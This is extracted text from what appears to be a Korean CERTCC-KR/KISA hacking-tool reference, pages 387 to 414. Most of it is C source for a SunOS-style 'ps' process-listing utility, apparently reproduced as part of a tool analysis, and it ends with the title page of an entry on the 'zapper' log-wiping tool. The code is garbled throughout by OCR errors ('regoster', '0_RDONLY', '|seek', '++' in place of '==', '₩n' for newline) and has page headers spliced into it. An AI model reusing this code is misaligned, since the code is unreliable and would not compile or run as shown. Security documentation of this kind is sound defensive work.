addv(X_MBMAP);

if (nl[X_DQUOT].n_value !=0) /* this is #ifdef QUOTA */

addv(X_DQUOT);

qsort(wchanhd, nchans, sizeof (struct wchan), wchancomp);

for (i = 0; I < NWCINDEX; I++) {

tmp = i * nchans;

wchan_index[i] = wchanhd[tmp / NWCINDEX].wc_caddr;

}

#undef addv

}

printhdr()

{

char *hdr;

if (lflg+vflg+uflg+jflg > 1) {

fprintf(stderr, "ps" specify only one of l,v,j and

u₩n");

exit(1);

}

Page 387: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (lflg | jflg) {

if (nflg)

wcwidth = 8;

else if (twidth > WTSIZ)

wcwidth = -WNAMESIZ;

else

wcwidth = -WSNAMESIZ;

if (!(hdr = calloc(1, strlen(lflg ? lhdr : jhdr) +

WNAMESIZ))) {

fprintf(stderr, "ps" out of memory₩n");

exit(1);

}

sprintf(hdr, lflg ? lhdr : jhdr, wcwidth, "WCHAN");

} else if (vflg)

hdr = vhdr;

else if (uflg) {

/* add enough on so that it can hold the sprintf below

*/

if ((hdr = malloc(strlen(uhdr) + 10)) ==NULL) {

fprintf(stderr, "ps: out of memory₩n");

exit(1);

}

sprintf(hdr, uhdr, nflg ? " UID" : "USER ");

} else

hdr = sgdr;

cmdstart = strlen(hdr);

printf("%s COMMAND₩n", hdr);

(void) fflush(stdout);

}

cantread(what, fromwhat)

char *what, *fromwhat;

{

if (fromwhat == NULL)

(void) fprintf(stderr, "ps: error readinf %s₩n", what);

else

Page 388: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

(void) fprintf(stderr, "ps: error reading %s from %s₩n",

what,

fromwhat);

}

struct direct *dbuf;

int dialbase;

getdev()

{

register DIR *df;

struct ttys *t;

struct lttys *lt;

if (chdir("/dev") < 0) {

perror("ps: /dev");

exit(1);

}

dialbase = -1;

if ((df = opendir(".")) ==NULL) {

fprintf(stderr, "ps: ");

perror("Can't open . in /dev");

exit(1);

}

while ((dbuf = readdir(df)) != NULL)

maybetty();

closedir(df);

allttys = (struct ttys *)malloc(sizeof(struct ttys)*nttys);

if (allttys == NULL) {

fprintf(stderr, "ps: Can't malloc space for tty

table₩n");

exit(1);

}

for (lt = lallttys, t = allttys; lt ; lt = lt->next, t++)

*t = lt->ttys;

}

/*

Page 389: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* Attempt to avoid stats by guessing minor device

* numbers from tty names. Console is known,

* know that r(hpluplmt) are unlikely as are different mem's,

* floppy, null, tty, etc.

*/

maybetty()

{

register char *cp =dbuf->d_name;

static struct lttys *dp;

struct lttys *olddp;

int x;

struct stat stb;

switch (cp[0]) {

case 'c':

if (!strcmp(cp, "console")) {

x = 0;

goto donecand;

}

/* cu[la]? are possible!?! don't rule them out */

break;

case 'd':

if (!strcmp(cp, "drum"))

return;

break;

case 'f':

if (!strcmp(cp, "floppy"))

return;

break;

case 'k':

cp++;

if (*cp =='U')

cp++;

goto trymem;

Page 390: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

case 'r':

cp++;

#define is(a,b) cp[0] == 'a'&& cp[1] == 'b'

if (is(h,b) || is(r,a) || is(u,p) || is(h,k)

|| is(r,b) ||is(s,d) || is(x,y) || is(m,t)) {

cp +=2;

if (isdigit(*cp) && cp[2] == 0)

return;

}

break;

case 'm':

trymem:

if (cp[0] == 'm' && cp[1] == 'e' && cp[2] == 'm' &&

cp[3] == 0)

return;

if (cp[0] == 'm' && cp[1] =='t')

return;

break;

case 'n':

if (!strcmp(cp, "null"))

return;

if (!strncmp(cp, "nrmt",4))

return;

break;

case 'p':

if (cp[1] && cp[1] == 't' && cp[2] == 'y')

return;

break;

case 'v':

if ((cp[1] ++ 'a' || cp[1] =='p') && isdigit(cp[2]) &&

cp[3] == 0

return;

break;

}

cp = dbuf->d_name + dbuf->d_namlen - 1;

x = 0;

Page 391: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (cp[-1] == 'd') {

if (dialbase == -1) {

if (stat("ttyd0", &stb) == 0)

dialbase = stb.st_rdev & 017;

else

dialbase = -2;

}

if (dialbase == -2)

x = 0;

else

x = 11;

}

if (cp < dbuf->d_name && isdigit(cp[-1] && isdigit(*cp))

x +=10 * (cp[-1]) - ' ') + cp[0] - '0';

else if (*cp >= 'a' && *cp <= 'f')

x += 10 + *cp - 'a';

else if (isdigit(*cp))

x += *cp - '0';

else

x = -1;

donecand:

olddb = db;

db = (struct lttys *)malloc(sizeof(struct lttys));

if (db == NULL) {

fprintf(stderr, "ps: Can't malloc space for tty

table₩n");

exit(1);

}

if (lallttys == NULL)

lallttys = dp;

nttys++;

if (olddp)

olddp->next = dp;

dp->next = NULL;

(void) strcpy(dp->ttys.name, dbuf->d_name);

if (Uflg) {

if (stat(dp->ttys.name, &stb) == 0 &&

(stb.st_mode&S_IFMT)==S_IFCHR)

dp->ttys.ttyd = x = stb.st_rdev;

else {

Page 392: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

nttys--;

if (lallttys == dp)

lallttys = NULL;

free(dp);

dp = olddp;

if (dp)

dp->next = NULL;

return;

}

} else

dp->ttys.ttyd = -1;

if (x == -1)

return;

x &=017;

dp->ttys.cand = cand[x];

cand[x] = nttys-1;

}

char *

gettty()

{

register char *p;

register struct ttys *dp;

struct stat stb;

int x;

if (s.s_vp == (struct vnode*)0) {

s.s_ttyd = -1;

return ("?");

}

#ifdef Sun

if (s.s_ttyd == rconsdev)

s.s_ttyd = makedev(0, 0); /* "/dev/console" */

#endif

x = s.s_ttyd & 017;

for (db = &allttys[cand[x]]; dp != &allttys[-1];

dp = &allttys[dp->cand]) {

if (dp->ttyd == -1) {

if (stat(dp->name, &stb) == 0 &&

Page 393: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

(stb.st_mode&S_IFMT)==S_IFCHR)

dp->ttyd = stb.st_rdev;

else

dp->ttyd = -2;

}

if (dp->ttyd == s.s_ttyd)

goto found;

}

/* ick */

for (db = allttys; dp < &allttys[nttys]; dp++) {

if (dp->ttyd == -1) {

if (stat(dp->name, &stb) == 0 &&

(stb.st_mode&S_IFMT)==S_IFCHR)

dp->ttyd = stb.st_rdev;

else

dp->ttyd = -2;

}

if (dp->ttyd == s.s_ttyd)

goto found;

}

return ("?");

found:

p = dp->name;

if (p[0]=='t' && p[1]=='t' && p[2]=='y')

p +=3;

return (p);

}

save()

{

register struct savcom *sp;

register struct asav *ap;

char *ttyp, *cmdp;

int save_ttyd;

if (mproc->p_stat != SZOMB)

if ((u = kvm_getu(kvm_des, mproc)) == NULL)

return;

kvm_read(kvm_des, mproc->p_sessp, &s, sizeof(s));

save_ttyd = s.s_ttyd;

Page 394: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ttyp = gettty();

if (xflg == 0 && ttyp[0] == '?' || tptr && strncmp(tptr, ttyp,

2))

return;

sp = &savcom[npr];

cmdp = getcmd();

sp->ap = ap = (struct asav *)calloc(1, sizeof (struct asav));

if (ap == NULL) {

fprintf(stderr, "ps: out of memory allocating asav₩n");

exit(1);

}

sp->ap->a_cmdp = cmdp;

#define e(a,b) ap->a = mproc->b

e(a_flag, p_flag); e(a_stat, p_stat); e(a_nice, p_nice);

e(a_uid, p_suid);

e(a_pid, p_pid); e(a_pri, p_pri);

e(a_slptime, p_slptime); e(a_time, p_time);

ap->a_tty[0] = ttyp[0];

ap->a_tty[1] = ttyp[1] ? ttyp[1] : ' ';

if (ap->a_atat == SZOMB) {

ap->a_cpu = 0;

ap->a_ttyd = s.s_ttyd;

} else {

ap->a_size = mproc->p_dsize + mproc->p_ssize;

e(a_rss, p_rssize);

ap->a_ttyd = s.s_ttyd;

ap->a_cpu = u->u_ru.ru_utime.tv_sec +

u->u_ru.ru_stime.tv_sec;

if (sumcpu)

ap->a_cpu += u->u_cru.ru_utime.tv_sec +

u->u_cru.ru_stime.tv_sec;

ap->a_start = u->u_start.tv_sec;

}

#undef e

ap->a_maxrss = mproc->p_maxrss;

if (jflg) {

register struct jsav *jp;

sp->s_un.jp = jp = (struct jsav *)

Page 395: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

calloc(1, sizeof (struct jsav));

if (jp == NULL) {

fprintf(stderr, "ps: out of memory allocating

jsav₩n");

exit(1);

}

jp->j_ppid = mproc->p_ppid;

jp->j_pgrp = mproc->p_pgrp;

jp->j_sid = s.s_sid;

if (s.s_ttyp) {

kvm_read(kvm_des, s.s_ttyp, &jp->j_tpgrp,

sizeof(pid_t));

}

else

jp->j_tpgrp = -1;

}

else if (lflg) {

register struct lsav *lp;

sp->s_un.lp = lp = (struct lsav *)

calloc(1, sizeof (struct lsav));

if (lp==NULL) {

fprintf(stderr, "ps: out of memory allocating

lsav₩n");

exit(1);

}

#define e(a,b) lp->a = mproc->b

e(l_ppid, p_ppid);

e(l_cpu, p_cpu);

if (ap->a_stat != SZOMB)

e(l_wchan. p_wchan);

#undef e

} else if (vflg) {

register struct vsav *vp;

sp->s_un.vp = vp= (struct vsav *)

calloc(1, sizeof (struct vsav));

if (vp ==NULL) {

fprint(stderr, "ps; out of memory allocating

vsav₩n");

Page 396: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

exit(1);

}

#define e(a,b) vp->a = mproc->b

if (ap->a_stat != SZOMB) {

e(v_swrss, p_swrss);

vp->v_majflt = u->u_ru.ru_majflt;

}

vp->v_pctcpu = pcpu();

#undef e

} else if (uflg)

sp->s_un.u_pctcpu = pcpu();

npr++;

}

/*

* Calculate the percentage of memory to charge to this process.

*/

double

pmem(ap)

register struct asav *ap;

{

double fracmem;

static int totpages, havepages;

/*

* Lazy evaluation.

*/

if (havepages == 0) {

totpages = (struct page *)getw(nl[X_EPAGES].n_value) -

(struct page *)getw(nl[X_PAGES].n_value);

havepages = 1;

}

/*

* The second clause guards against nlist botches and such.

*/

if ((ap->a_flag & SLOAD) == 0 || totpages <= 0)

fracmem = 0.0;

else {

Page 397: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

/*

* Calculate an approximation to the process's

* memory consumption. Background information:

* 1) We estimate the total pool of available memory

* by calculating (epages-pages). When the VM

* system is generalized to support noncontiguous

* physical memory, this will have to change.

*2) This difference is an overestimate, since some

* of these pages can go to the kernel and aren't

* actually available for user processes.

*3) We use ap->a_rss as the measure of the process's

* memory demand. This neglects all shared segments,

* such as shared libraries. The rss itself isn't

* particularly accurate either -- this is a

deficiency

* of the initial implementation of the new VM

system.

*4) We completely neglect u-area pages in the

calculations.

*/

fracmem = ((double)ap->a_rss) / totpages;

}

return (100.0 * fracmem);

}

double

pcpu()

{

time_t time;

double p;

time = mproc->p_time;

if (time == 0 || (mproc->p_flag&SLOAD) ==0)

return (0.0);

p = (double)mproc->p_pctcpu / FSCALE;

if (rawcpu)

return (100.0 * p);

return (100.0 * p / (1.0 - exp(time * log(ccpu))));

Page 398: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

}

char *

getcmd()

{

char **proc_argv = NULL;

char **proc_environ = NULL;

register char **argp;

register char *ap;

register char *cp, *ep;

register int c;

int nbad;

char tempbuf[sizeof(u->u_comm)+10];

bzero(cmdbuf, twidth+1);

if (mproc->p_stat == SZOMB || mproc->p_flag&(SSYS|SWEXIT))

return ("");

if (cflg) {

(void) strncpy(cmdbuf, u->u_comm, sizeof (u->u_comm));

return (savestr(cmdbuf));

}

if (kvm_getcmd(kvm_des, mproc, u. &proc_argv, eflg ?

proc_environ : NULL) < 0) {

(void) strcpy(cmdbuf, " (");

(void) strncat(cmdbuf, u->u_comm, sizeof (u->u_comm));

(void) strcat(cmdbuf, ")");

} else {

cp = cmdbuf;

ep = cmdbuf + twidth;

argp = proc_argv;

nbad = 0;

while (((ap = *argp++) != NULL) && (cp < ep)) {

while (((c = (unsigned char)*ap++) != 0) &&

(cp < ep -

)) {

if (!isprint(c)) {

if (++nbad >=5)

break;

*cp = '?';

} else

Page 399: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*cp++ = c;

}

*cp++ = ' ';

}

if (eflg) {

argp =proc_environ;

nbad = 0;

while (((ap = *argp++) != NULL)&& (cp < ep)) {

while (((c = (unsigned char)*ap++) != 0)

&

(cp < ep -

)) {

if (!isprint(c)) {

if (++nbad >= 5)

break;

*cp = '?';

} else

*cp++ = c;

}

*cp++ = ' ';

}

}

*cp = 0;

while (*--cp == ' ')

*cp = 0;

if (*proc_argv ==NULL || cmdbuf[0] == '-'

|| cmdbuf[0] == '?' || cmdbuf[0] <= ' ') {

(void) strcpy(tempbuf, " )");

(void) strncat(tempbuf, u->u_comm,

sizeof(u->u_comm));

(void) strcat(tempbuf, ")");

(void) strncat(cmdbuf, tempbuf, ep-cp);

}

if (proc_argv != NULL)

free(proc_argv);

if (proc_environ != NULL)

free(proc_environ);

}

return (savestr(cmdbuf));

}

Page 400: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char *jhdr =

" PPID PID PGID SID TT TPGID STAT UID TIME";

jpr(sp)

struct savcom *sp;

{

register struct asav *ap = sp->ap;

register struct jsav *jp = sp->s_un.jp;

char flg[10];

char *s = flg;

strcpy(flg, state(ap));

for (s=flg; isalpha(*s); s++)

;

if (ap->a_flag & SNOCLDSTOP)

*s++ = 'C';

if (ap->a_flag & SORPHAN)

*s++ = 'O';

if (ap->a_flag & SEXECED)

*s++ = 'E';

*s = 0;

printf("%5u%6u%6u%6d ",

jp->j_ppid, ap->a_pid, jp->j_pgrp, jp->j_sid);

ptty(ap->a_tty);

printf("%6d %5s%6d", jp->j_tpgrp, flg, ap->a_uid);

ptime(ap);

}

char *lhdr =

" F UID PID PPID CP PRI NI SZ RSS %*s STAT TT TIME";

lpr(sp)

struct savcom *sp;

{

register struct asav *ap = sp->ap;

register struct lsav *lp = sp->s_un.lp;

printf("%8x%4d%6u%6u%3d%4d%3d%4d%5d",

ap->a_flag, ap->a_uid,

ap->a_pid, lp->l_ppid, lp->l_cpu&0377, ap->a_pri-PZERO,

ap->a_nice-NZERO, pgtok(ap->a_size), pgtok(ap->a_rss));

if (lp->l_wchan == 0)

Page 401: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf(" %*s", wcwidth, "");

else if (nflg)

printf(" %*x:, wcwidth, (int)lp->;l_wchan&0xffffffff);

else

printf(" %*.*s", wcwidth, abs(wcwidth),

getchan(lp->l_wchan));

printf(" %4.4s ", state(ap));

ptty(ap->a_tty);

ptime(ap);

}

ptty(tp)

char *tp;

{

printf("%-2.2s", tp);

}

ptime(ap)

struct asav *ap;

{

printf("%3ld:%02ld", ap->a_cpu / 60, ap->a_cpu %60);

}

char *uhdr =

"%s PID %%CPU %%MEM SZ RSS TT STAT START TIME";

upr(sp)

struct savcom *sp;

{

register struct asav *ap = sp->ap;

char *cp;

int vmsize, rmsize;

vmsize = pgtok(ap->a_size);

rmsize = pgtol(ap->a_rss);

if (nflg)

printf("%4d ", ap->a_uid);

else

printf("%-8.8s ", getname(ap->a_uid));

printf("%5d%5.1f%5.1f%5d%5d",

Page 402: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ap->a_pid, sp->s_un.u_pctcpu, pmem(ap), vmsize, rmsize);

putchar(' ');

ptty(ap->a_tty);

printf(" %4.4s", state(ap));

if (ap->a_start == 0)

ap->a_start =boottime.tv_sec;

cp = ctime(&ap->a_start);

if ((now - ap->a_start) > 60*60*24)

printf("%.7s", cp+3);

else

printf("%.6s ", cp+10);

ptime(ap);

}

/*

* Removed 9 columns by zapping the (meaningless in SunOS 4.0) TSIZ and

TRS

* fields. Consider using this space to widen currently-cramped

columns.

*/

char *vhdr =

" PID TT STAT TIME SL RE PAGEIN SIZE RSS LIM %CPU %MEM";

vpr(sp)

struct savcom *sp;

{

register struct vsav *vp = sp->s_un.vp;

register struct asav *ap = sp->ap;

printf("%5u ", ap->a_pid);

ptty(ap->a_tty);

printf(" %4.4s", state(ap));

ptime(ap);

printf("%3d%3d%7d%5d%5d",

ap->a_alptime > 99 ? 99 : ap-> a_alptime,

ap->a_time > 99 ? 99 : ap-> a_time, vp->majflt,

pgtok(ap->a_size), pgtok(ap->a_rss));

if (ap->a_maxrss == (RLIM_INFINITY/NBPG))

printf(" xx");

else

Page 403: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf("%6d", pgtok(ap->a_maxrss));

printf("%5.1f%5.1f", vp->v_pctcpu, pmem(ap));

}

char *shdr =

" PID TT STAT TIME";

spr(sp)

struct savcom *sp;

{

register struct asav *ap = sp->ap;

printf("%5u", ap->a_pid);

putchar(' ');

ptty(ap->a_tty);

printf(" %4.4s", state(ap));

ptime(ap);

}

char *

state(ap)

register struct asav *ap;

{

char stat, load, nice, anom;

static char res[5];

switch (ap->a_stat) {

case SSTOP:

stat = 'T';

break;

case SSLEEP:

if (ap->a_pri >= PZERO)

if (ap->a_slptime >= MAXSLP)

stat = 'l';

else

stat = 'S';

else if (ap->a_flag & SPAGE)

stat = 'P';

else

Page 404: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

stat = 'D';

break;

case SWAIT:

case SRUN:

case SIDL:

stat = 'R';

break;

case SZOMB:

stat = 'Z';

break;

default:

stat = '?';

}

load = ap->a_flag & SLOAD ? (ap->a_rss>ap->a_maxrss ? '>' : ' ')

: ‘W';

if (ap->a_nice < NZERO)

nice = '<';

else if (ap->a_nice > NZERO)

nice = 'N';

else nice = ' ';

anom = (ap->a_flag&SUANOM) ? 'A' : ((ap->a_flag&SSEQL) ? 'S' : '

');

res[0] = stat; res[1] = load; res[2] = nice; res[3] = anom;

return (res);

}

pscomp(s1, s2)

struct savcom *s1,*s2;

{

register int i;

if (uflg)

return (s2->s_un.u_pctcpu > s1->s_un.u_pctcpu ? 1 : -1);

if (vflg)

return (vsize(s2) - vsize(s1));

i = s1->ap->a_ttyd - s2->ap->a_ttyd;

Page 405: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (i == 0)

i = s1->ap->a_pid - s2->ap->a_pid;

return (i);

}

vsize(sp)

struct savcom *sp;

{

register struct asav *ap = sp->ap;

register struct vsav *vp = sp->s_un.vp;

if (ap->a_flag & SLOAD)

return (ap->a_rss);

return (vp->v_swrss);

}

#include <utmp.h>

struct utmp utmp;

#define NMAX (sizeof (utmp.ut_name))

#define SCPYN(a, b) strncpy(a, b, NMAX)

#define NUID 64

struct ncache {

int uid;

char name[NMAX+1];

} nc[NUID];

/*

* This function assumes that the password file is hashed

* (or some such) to allow fast access based on a uid key.

*/

char *

getname(uid)

{

register struct passwd *pw;

struct passwd *getpwent();

register int cp;

#if (((NUID) & ((NUID) - 1)) != 0)

Page 406: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

cp = uid % (NUID);

#else

cp = uid & ((NUID) - 1);

#endif

if (uid >= 0 && nc[cp]uid == uid && nc[cp].name[0])

return (nc[cp].name);

pw = getpwuid(uid);

if (!pw)

return (0);

nc[cp].uid = uid;

SCPYN(nc[cp].name, pw->pw_name);

return (nc[cp].name);

}

char *

savestr(cp)

char *cp;

{

register unsigned len;

register char *dp;

len = strlen(cp);

dp = (char *)calloc(len+1, sizeof (char));

if (dp == NULL) {

fprintf(stderr, "ps: savestr: out of memory₩n");

exit(1);

}

(void) strcpy(dp, cp);

return (dp);

}

/*

* since we can't init unions, the cleanest way to use a.out.h instead

* of nlist.h (required since nlist() uses some defines) is to do a

* runtime copy into the nl array -- sigh

*/

init_nlist()

{

regoster struct nlist *np;

register char **namep;

Page 407: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

nllen = sizeof nl_names / sizeof (char *);

np=nl=(struct nlist *) malloc(nllen * sizeof (struct

nlist));

if (np=NULL) {

fprintf(stderr, "ps: out of memory allocating

namelist₩n");

exit(1);

}

namep=&nl_names[0];

while (nllen>0) {

np->n_un.n_name=*namep;

if (**namep=='₩0')

break;

namep++

np++;

}

}

/*

*nlist-retreive attributes from name list (string table version)

* [The actual work is done in _nlist.c]

*/

nlist(name, list)

char *name;

struct nlist *list;

{

register int fd;

register int e;

fd=open(name, 0_RDONLY, 0);

e=_nlist(fd, list);

close(fd);

return(e);

}

/*

*_nilst-retreive attributes from name list (string table version)

* modified to add wait channels-Charles R. Labrec 8/85

*/

_nlist(fd, list)

Page 408: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int fd;

struct nlist *list;

{

register struct nlist *p, *q;

register int soff;

register int stroff=0;

register n, m;

int maxlen, nreq;

off_t sa; /* symbol address */

off_t ss; /* start of strings */

int type;

struct exec buf;

struct nlist space[BUFSIZ/sizeof (struct nlist)];

char strs{BUFSIZ];

maxlen=0;

for (q=list, nreq=0; q->n_un.n_name && q->n_un.n_name[0];

q++, nreq++) {

q->n_type=0;

q->n_value=0;

q->n_desc=0;

q->n_other=0;

n=strlen(q->n_un.n_name);

if(n>maxlen)

maxlen=n;

}

if((fd==-1) || (|seek(fd, 0L, 0)==-1) ||

(read(fd, (char*)%buf, sizeof buf) !=sizeof buf) ||

N_BADMAG(buf))

return(-1)

sa=N_SYMOFF(buf);

ss=sa+buf.a_syms;

n=buf.a_syms;

while(n) {

m=MIN(n, sizeof (space));

|seek(fd, sa, 0);

if (read(fd, (char *)space, m) !=m)

break;

sa += m;

n -= m;

Page 409: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

for (q = space; (m-=sizeof(struct nlist)) >= 0; q++) {

soff=q->n_un.n_strx;

if (soff=0 || q->n_type & N_STAB)

continue;

/*

*since we know what type of symbols we will

get,

*we can make a quick check here-crl

*/

type=q->n_type & (N_TYPE | N_EXT);

if ((q->n_type & N_TYPE) ! = N>ABS

&& type != (N_EXT | N_DATA)

&& type != (N_EXT | N_BSS))

continue;

if ((soff + maxlen + 1) >= stroff) {

/*

* Read strings into local cache.

* Assumes (maxlen < sizeof (strs)).

*/

|seek(fd, ss+soff, 0);

read(fd, strs, sizeof strs);

stroff=soff+sizeof (strs);

}

/* if using wchans, add it to the list of

channels */

if (!nflg && !gotwchans)

addchan(&strs[soff-(stroff-sizeof

(strs))+1]

(caddr_t) q->n_value);

for (p=list;p->n_un.n_name &&

p->n_un.n_name[0]; p++) {

if (p->n_type==0 &&

strcmp(p->n_un.n_name,

&strs[soff-(stroff-sizeof (strs))])

=0) {

p->n_value=q->n_value;

p->n_type=q->n_type;

p->n_desc=q->n_desc;

Page 410: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

p->n_other=q->n_other;

if (--nreq == 0 && (nflg ||

gotwchans))

goto alldone;

break;

}

}

}

}

alldone:

return (nreq);

}

/*

*add the given channel to the channel list

*/

addchan(name, caddr)

char *name;

caddr_t caddr;

{

static int left=0;

register struct wchan *wp;

register char **p;

register struct wchan_map *mp;

for (p=wchan_stop_list; *p; p++) {

if (**p !=*name) /*quick check first */

continue;

if (strncmp(name, *p, WNAMESIZ) == 0)

return /*if found, don't add */

}

for (mp=wchan_map_list; mp->map_from; mp++) {

if (*(mp->map_from) != *name) /* quick check first */

continue;

if (strncmp(name, mp->map_form, WNAMESIZ) == 0)

name=mp->map_to; /* if found, remap */

}

if (left==0) {

if (wchanhd) {

left = 100;

Page 411: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

wchanhd=(struct wchan *) realloc(wchanhd,

(nchans + left) * sizeof (struct

wchan));

} else {

left = 600;

wchanhd=(struct wchan *) malloc(left

*sizeof (struct wchan));

}

if (wchanhd == NULL) {

fprintf(stderr, "ps: out of memory allocating

wait channels₩n");

nflg++;

return;

}

}

left--;

wp=&wchanhd[nchans++];

strncpy(wp->wc_name, name, WNAMESIZ);

wp->wc_name[WNAMESIZ]='₩0';

wp->wc_caddr=caddr;

}

/*

* returns the symbolic wait channel corresponding to chan

*/

char *

getchan(chan)

register caddr_t chan;

{

register i, iend;

register char *prevsym;

register struct wchan *wp;

prevsym="???"; /* nothing, to begin with */

if (chan) {

for (i = 0; i < NWCINDEX; i++)

if ((unsigned) chan < (unsigned) wchan_index[i])

break;

iend=i--;

if (i<0) /* can't be found */

Page 412: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

return prevsym;

iend *= nchans;

iend /= NWCINDEX;

i *= nchans;

i /= NWCINDEX;

wp=&wchanhd[i];

for ( ; i < iend; i++, wp++) {

if ((unsigned) wp->wc_caddr > (unsigned) chan)

break;

prevsym=wp->wc_name;

}

}

return prevsym;

}

/*

* used in sorting the wait channel array

*/

int

wchancomp (w1, w2)

struct wchan *w1, *2;

{

register unsigned c1, c2;

c1=(unsigned) w1->wc_caddr;

c2=(unsigned) w2->wc_caddr;

if (c1 > c2)

return 1;

else if (c1==c2)

return 0;

else

return -1;

}

usage()

{

fprintf(stderr, "ps: usage: ps [-acCegjkInrStuvwxU] [num]

[kernel_name] [c_dump_file] [swap_file]₩n");

}

Page 413: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

zapper-*-해킹도구

zapper-*-hack_tool

Page 414: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

zapper-*-hack_tool

zapper-*-해킹도구

문서번호

KH98-040

문서제목

zapper-*-해킹도구(zapper-*-hack_tool)

관련 응용프로그램

zapper

관련 운영체제

Sun SunOS, Linux 등

취약점 분석

취약점 이해

